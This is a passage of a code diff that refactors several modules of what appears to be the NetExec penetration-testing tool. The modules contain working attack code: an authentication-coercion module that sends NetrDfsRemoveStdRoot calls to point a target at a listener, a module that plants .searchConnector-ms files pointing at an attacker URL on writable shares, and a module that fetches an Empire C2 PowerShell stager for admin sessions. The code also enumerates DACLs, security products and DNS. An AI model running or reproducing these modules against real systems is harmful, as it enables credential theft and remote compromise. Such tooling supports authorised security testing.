# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception as e:
|
||||
context.log.fail("User not found in LDAP: %s" % samname)
|
||||
except Exception:
|
||||
context.log.fail(f"User not found in LDAP: {samname}")
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
# - sid : the SID to resolve
|
||||
def resolveSID(self, context, sid):
|
||||
# Tries to resolve the SID from the well known SIDs
|
||||
if sid in WELL_KNOWN_SIDS.keys():
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
return WELL_KNOWN_SIDS[sid]
|
||||
# Tries to resolve the SID from the LDAP domain dump
|
||||
else:
|
||||
try:
|
||||
dn = self.ldap_session.search(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[
|
||||
0
|
||||
][0]
|
||||
samname = self.ldap_session.search(
|
||||
)[0][0]
|
||||
return self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
return samname
|
||||
except Exception as e:
|
||||
context.log.debug("SID not found in LDAP: %s" % sid)
|
||||
)[0][1][0][1][0]
|
||||
except Exception:
|
||||
context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
|
@ -445,17 +437,12 @@ class NXCModule:
|
|||
|
||||
# Parses an access mask to extract the different values from a simple permission
|
||||
# https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
|
||||
# - fsr : the access mask to parse
|
||||
def parse_perms(self, fsr):
|
||||
_perms = []
|
||||
for PERM in SIMPLE_PERMISSIONS:
|
||||
if (fsr & PERM.value) == PERM.value:
|
||||
_perms.append(PERM.name)
|
||||
fsr = fsr & (not PERM.value)
|
||||
for PERM in ACCESS_MASK:
|
||||
if fsr & PERM.value:
|
||||
_perms.append(PERM.name)
|
||||
return _perms
|
||||
def parse_perms(self, access_mask):
|
||||
perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
|
||||
# use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
|
||||
access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
|
||||
perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
|
||||
return perms
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
|
@ -467,86 +454,59 @@ class NXCModule:
|
|||
"ACCESS_DENIED_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
parsed_ace = {}
|
||||
parsed_ace["ACE Type"] = ace["TypeName"]
|
||||
# Retrieves ACE's flags
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
|
||||
|
||||
# For standard ACE
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
parsed_ace["Access mask"] = "%s (0x%x)" % (
|
||||
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
|
||||
ace["Ace"]["Mask"]["Mask"],
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
# For object-specific ACE
|
||||
elif ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_OBJECT_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
|
||||
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
parsed_ace = {
|
||||
"Access mask": access_mask,
|
||||
"Trustee (SID)": trustee_sid
|
||||
}
|
||||
elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: # for object-specific ACE
|
||||
# Extracts the mask values. These values will indicate the ObjectType purpose
|
||||
_access_mask_flags = []
|
||||
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
|
||||
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
|
||||
_access_mask_flags.append(FLAG.name)
|
||||
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
|
||||
access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
|
||||
parsed_ace["Access mask"] = ", ".join(access_mask_flags)
|
||||
# Extracts the ACE flag values and the trusted SID
|
||||
_object_flags = []
|
||||
for FLAG in OBJECT_ACE_FLAGS:
|
||||
if ace["Ace"].hasFlag(FLAG.value):
|
||||
_object_flags.append(FLAG.name)
|
||||
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
|
||||
object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
|
||||
parsed_ace["Flags"] = ", ".join(object_flags) or "None"
|
||||
# Extracts the ObjectType GUID values
|
||||
if ace["Ace"]["ObjectTypeLen"] != 0:
|
||||
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[obj_type],
|
||||
obj_type,
|
||||
)
|
||||
parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
|
||||
except KeyError:
|
||||
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
|
||||
parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
|
||||
# Extracts the InheritedObjectType GUID values
|
||||
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
|
||||
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[inh_obj_type],
|
||||
inh_obj_type,
|
||||
)
|
||||
parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
else:
|
||||
# If the ACE is not an access allowed
|
||||
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
|
||||
parsed_ace = {}
|
||||
parsed_ace["ACE type"] = ace["TypeName"]
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
"ACE flags": ", ".join(_ace_flags) or "None",
|
||||
"DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
# Prints a full DACL by printing each parsed ACE
|
||||
# - parsed_dacl : a parsed DACL from parse_dacl()
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
i = 0
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
|
@ -566,7 +526,7 @@ class NXCModule:
|
|||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
|
@ -574,7 +534,7 @@ class NXCModule:
|
|||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
|
@ -582,13 +542,13 @@ class NXCModule:
|
|||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
|
@ -596,7 +556,7 @@ class NXCModule:
|
|||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.fail(f"Error filtering ACE, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
|
@ -23,9 +20,7 @@ class NXCModule:
|
|||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER Listener Address (defaults to 127.0.0.1)
|
||||
"""
|
||||
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||
self.listener = "127.0.0.1"
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
|
@ -64,13 +59,9 @@ class DCERPCSessionError(DCERPCException):
|
|||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
|
@ -119,21 +110,20 @@ class TriggerAuth:
|
|||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
# if target:
|
||||
# rpctransport.setRemoteHost(target)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
|
@ -141,13 +131,12 @@ class TriggerAuth:
|
|||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = "%s\x00" % listener
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
if self.args.verbose:
|
||||
nxc_logger.debug(request.dump())
|
||||
# logger.debug(request.dump())
|
||||
resp = dce.request(request)
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ntpath
|
||||
import tempfile
|
||||
|
||||
|
@ -47,22 +44,21 @@ class NXCModule:
|
|||
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
|
||||
if not self.cleanup:
|
||||
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
|
||||
scfile = open(self.scfile_path, "w")
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
|
||||
scfile.write("<templateInfo>")
|
||||
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
|
||||
scfile.write("</templateInfo>")
|
||||
scfile.write("<simpleLocation>")
|
||||
scfile.write("<url>{}</url>".format(self.url))
|
||||
scfile.write("</simpleLocation>")
|
||||
scfile.write("</searchConnectorDescription>")
|
||||
scfile.close()
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
|
||||
scfile.write("<templateInfo>")
|
||||
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
|
||||
scfile.write("</templateInfo>")
|
||||
scfile.write("<simpleLocation>")
|
||||
scfile.write(f"<url>{self.url}</url>")
|
||||
scfile.write("</simpleLocation>")
|
||||
scfile.write("</searchConnectorDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
|
@ -74,13 +70,12 @@ class NXCModule:
|
|||
with open(self.scfile_path, "rb") as scfile:
|
||||
try:
|
||||
connection.conn.putFile(share["name"], self.file_path, scfile.read)
|
||||
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms" f" file on the {share['name']} share")
|
||||
context.log.success(f"[OPSEC] Created {self.filename}.searchConnector-ms file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.exception(e)
|
||||
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file" f" on the {share['name']} share: {e}")
|
||||
context.log.fail(f"Error writing {self.filename}.searchConnector-ms file on the {share['name']} share: {e}")
|
||||
else:
|
||||
try:
|
||||
connection.conn.deleteFile(share["name"], self.file_path)
|
||||
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the" f" {share['name']} share")
|
||||
context.log.success(f"Deleted {self.filename}.searchConnector-ms file on the {share['name']} share")
|
||||
except Exception as e:
|
||||
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms" f" file on share {share['name']}: {e}")
|
||||
context.log.fail(f"[OPSEC] Error deleting {self.filename}.searchConnector-ms file on share {share['name']}: {e}")
|
||||
|
|
|
@ -1,15 +1,7 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import sys
|
||||
import requests
|
||||
from requests import ConnectionError
|
||||
|
||||
# The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
|
||||
from requests.packages.urllib3.exceptions import InsecureRequestWarning
|
||||
|
||||
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
|
@ -38,7 +30,7 @@ class NXCModule:
|
|||
|
||||
api_proto = "https" if "SSL" in module_options else "http"
|
||||
|
||||
obfuscate = True if "OBFUSCATE" in module_options else False
|
||||
obfuscate = "OBFUSCATE" in module_options
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
|
@ -100,7 +92,7 @@ class NXCModule:
|
|||
verify=False,
|
||||
)
|
||||
except ConnectionError:
|
||||
context.log.fail(f"Unable to request stager from Empire's RESTful API")
|
||||
context.log.fail("Unable to request stager from Empire's RESTful API")
|
||||
sys.exit(1)
|
||||
|
||||
if stager_response.status_code not in [200, 201]:
|
||||
|
@ -111,7 +103,6 @@ class NXCModule:
|
|||
sys.exit(1)
|
||||
|
||||
context.log.debug(f"Response Code: {stager_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {stager_response.text}")
|
||||
|
||||
stager_create_data = stager_response.json()
|
||||
context.log.debug(f"Stager data: {stager_create_data}")
|
||||
|
@ -123,14 +114,13 @@ class NXCModule:
|
|||
verify=False,
|
||||
)
|
||||
context.log.debug(f"Response Code: {download_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {download_response.text}")
|
||||
|
||||
self.empire_launcher = download_response.text
|
||||
|
||||
if download_response.status_code == 200:
|
||||
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
|
||||
else:
|
||||
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
|
||||
context.log.fail("Something went wrong when retrieving stager Powershell command")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.empire_launcher:
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# All credit to @an0n_r0
|
||||
# https://github.com/tothi/serviceDetector
|
||||
# Module by @mpgn_x64
|
||||
|
@ -30,7 +27,6 @@ class NXCModule:
|
|||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
target = self._get_target(connection)
|
||||
|
@ -62,15 +58,14 @@ class NXCModule:
|
|||
|
||||
dce, _ = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
try:
|
||||
try:
|
||||
for product in conf["products"]:
|
||||
for service in product["services"]:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.info(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
results.setdefault(product["name"], {"services": []})["services"].append(service)
|
||||
except:
|
||||
pass
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
except Exception as e:
|
||||
context.log.fail(str(e))
|
||||
|
@ -93,7 +88,7 @@ class NXCModule:
|
|||
|
||||
def dump_results(self, results, remoteName, context):
|
||||
if not results:
|
||||
context.log.highlight(f"Found NOTHING!")
|
||||
context.log.highlight("Found NOTHING!")
|
||||
return
|
||||
|
||||
for item, data in results.items():
|
||||
|
@ -148,7 +143,7 @@ class LsaLookupNames:
|
|||
"""
|
||||
string_binding = string_binding or self.string_binding
|
||||
if not string_binding:
|
||||
raise NotImplemented("String binding must be defined")
|
||||
raise NotImplementedError("String binding must be defined")
|
||||
|
||||
rpc_transport = transport.DCERPCTransportFactory(string_binding)
|
||||
|
||||
|
@ -199,12 +194,11 @@ class LsaLookupNames:
|
|||
request["PolicyHandle"] = policyHandle
|
||||
request["Count"] = 1
|
||||
name1 = RPC_UNICODE_STRING()
|
||||
name1["Data"] = "NT Service\{}".format(service)
|
||||
name1["Data"] = f"NT Service\\{service}"
|
||||
request["Names"].append(name1)
|
||||
request["TranslatedSids"]["Sids"] = NULL
|
||||
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
|
||||
resp = dce.request(request)
|
||||
return resp
|
||||
return dce.request(request)
|
||||
|
||||
|
||||
conf = {
|
||||
|
|
|
@ -1,6 +1,3 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
|
||||
|
@ -23,9 +20,7 @@ class NXCModule:
|
|||
self.domains = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
|
||||
"""
|
||||
"""DOMAIN Domain to enumerate DNS for. Defaults to all zones."""
|
||||
self.domains = None
|
||||
if module_options and "DOMAIN" in module_options:
|
||||
self.domains = module_options["DOMAIN"]
|
||||
|
@ -34,15 +29,12 @@ class NXCModule:
|
|||
if not self.domains:
|
||||
domains = []
|
||||
output = connection.wmi("Select Name FROM MicrosoftDNS_Zone", "root\\microsoftdns")
|
||||
|
||||
if output:
|
||||
for result in output:
|
||||
domains.append(result["Name"]["value"])
|
||||
|
||||
context.log.success("Domains retrieved: {}".format(domains))
|
||||
domains = [result["Name"]["value"] for result in output] if output else []
|
||||
context.log.success(f"Domains retrieved: {domains}")
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
|
||||
for domain in domains:
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
|
@ -70,6 +62,6 @@ class NXCModule:
|
|||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = "DNS-Enum-{}-{}.log".format(connection.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
|
||||
|
|
|
@ -1,16 +1,14 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Example
|
||||
Example:
|
||||
-------
|
||||
Module by @yomama
|
||||
"""
|
||||
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
supported_protocols = [] # Example: ['smb', 'mssql']
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
|
@ -22,7 +20,6 @@ class NXCModule:
|
|||
"""Required.
|
||||
Module options get parsed here. Additionally, put the modules usage here as well
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
|
@ -30,43 +27,39 @@ class NXCModule:
|
|||
"""
|
||||
# Logging best practice
|
||||
# Mostly you should use these functions to display information to the user
|
||||
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
|
||||
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
|
||||
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
|
||||
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
|
||||
context.log.display("I'm doing something") # Use this for every normal message ([*] I'm doing something)
|
||||
context.log.success("I'm doing something") # Use this for when something succeeds ([+] I'm doing something)
|
||||
context.log.fail("I'm doing something") # Use this for when something fails ([-] I'm doing something), for example a remote registry entry is missing which is needed to proceed
|
||||
context.log.highlight("I'm doing something") # Use this for when something is important and should be highlighted, printing credentials for example
|
||||
|
||||
# These are for debugging purposes
|
||||
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
|
||||
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
|
||||
context.log.info("I'm doing something") # This will only be displayed if the user has specified the --verbose flag, so add additional info that might be useful
|
||||
context.log.debug("I'm doing something") # This will only be displayed if the user has specified the --debug flag, so add info that you would might need for debugging errors
|
||||
|
||||
# These are for more critical error handling
|
||||
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
|
||||
context.log.error("I'm doing something") # This will not be printed in the module context and should only be used for critical errors (e.g. a required python file is missing)
|
||||
try:
|
||||
raise Exception("Exception that might occure")
|
||||
raise Exception("Exception that might have occurred")
|
||||
except Exception as e:
|
||||
context.log.exception(f"Exception occured: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
context.log.exception(f"Exception occurred: {e}") # This will display an exception traceback screen after an exception was raised and should only be used for critical errors
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
"""Concurrent.
|
||||
Required if on_login is not present
|
||||
This gets called on each authenticated connection with Administrative privileges
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_request(self, context, request):
|
||||
"""Optional.
|
||||
If the payload needs to retrieve additional files, add this function to the module
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_response(self, context, response):
|
||||
"""Optional.
|
||||
If the payload sends back its output to our server, add this function to the module to handle its output
|
||||
"""
|
||||
pass
|
||||
|
||||
def on_shutdown(self, context, connection):
|
||||
"""Optional.
|
||||
Do something on shutdown
|
||||
"""
|
||||
pass
|
||||
|
|
|
@ -1,85 +1,80 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
import socket
|
||||
from nxc.logger import nxc_logger
|
||||
from impacket.ldap.ldap import LDAPSearchError
|
||||
from impacket.ldap.ldapasn1 import SearchResultEntry
|
||||
import sys
|
||||
|
||||
class NXCModule:
|
||||
'''
|
||||
Module by CyberCelt: @Cyb3rC3lt
|
||||
|
||||
Initial module:
|
||||
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
|
||||
'''
|
||||
|
||||
name = 'find-computer'
|
||||
description = 'Finds computers in the domain via the provided text'
|
||||
